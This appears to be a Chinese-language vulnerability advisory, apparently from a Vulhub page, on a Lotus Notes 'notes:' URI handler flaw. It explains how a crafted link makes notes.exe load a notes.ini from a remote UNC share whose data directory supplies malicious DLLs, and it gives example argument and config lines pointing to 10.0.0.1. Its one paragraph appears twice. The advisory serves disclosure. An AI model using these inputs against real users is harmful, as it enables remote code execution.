VULHUB ™

Lotus Domino/Notes服务器是一款基于WEB合作的应用程序架构，运行在Linux/Unix和Microsoft Windows操作系统平台下。 Lotus Notes URI处理器对输入缺少正确过滤，远程攻击者可以利用这个漏洞构建恶意链接，诱使用户访问，以进程权限在系统上执行任意命令。 在安装Lotus Notes会增加如下键值： HKEY_CLASSES_ROOT＼Notes＼Shell＼Open＼Command 包含如下值： C：＼Program Files＼lotus＼notes＼notes.exe \\%1 这可以使Lotus Notes程序notes.exe会打开\"notes：\"的URI请求，而配置文件notes.ini可以在命令行中指定，这个参数可以指定UNC网络共享形式的文件路径，如下面一个可以指定从远程装载配置文件： notes.exe =＼＼10.0.0.1＼notes＼notes.ini 而notes.ini文件允许指定Notes数据目录，notes.exe程序利用此目录装载DLL文件，此参数也可以指定以UNC网络共享形式的文件路径，如： [Notes] Directory=＼＼10.0.0.1＼＼notes 由于对来自\"notes：\" URI请求的传递给notes.exe参数缺少充分的字符过滤，攻击者可以诱使用户以指定的note.ini文件来启动Lotus Notes，并指定用户控制下的数据目录，当notes.exe启动时恶意程序以当前用户进程权限执行。

Lotus Domino/Notes服务器是一款基于WEB合作的应用程序架构，运行在Linux/Unix和Microsoft Windows操作系统平台下。 Lotus Notes URI处理器对输入缺少正确过滤，远程攻击者可以利用这个漏洞构建恶意链接，诱使用户访问，以进程权限在系统上执行任意命令。 在安装Lotus Notes会增加如下键值： HKEY_CLASSES_ROOT＼Notes＼Shell＼Open＼Command 包含如下值： C：＼Program Files＼lotus＼notes＼notes.exe \\%1 这可以使Lotus Notes程序notes.exe会打开\"notes：\"的URI请求，而配置文件notes.ini可以在命令行中指定，这个参数可以指定UNC网络共享形式的文件路径，如下面一个可以指定从远程装载配置文件： notes.exe =＼＼10.0.0.1＼notes＼notes.ini 而notes.ini文件允许指定Notes数据目录，notes.exe程序利用此目录装载DLL文件，此参数也可以指定以UNC网络共享形式的文件路径，如： [Notes] Directory=＼＼10.0.0.1＼＼notes 由于对来自\"notes：\" URI请求的传递给notes.exe参数缺少充分的字符过滤，攻击者可以诱使用户以指定的note.ini文件来启动Lotus Notes，并指定用户控制下的数据目录，当notes.exe启动时恶意程序以当前用户进程权限执行。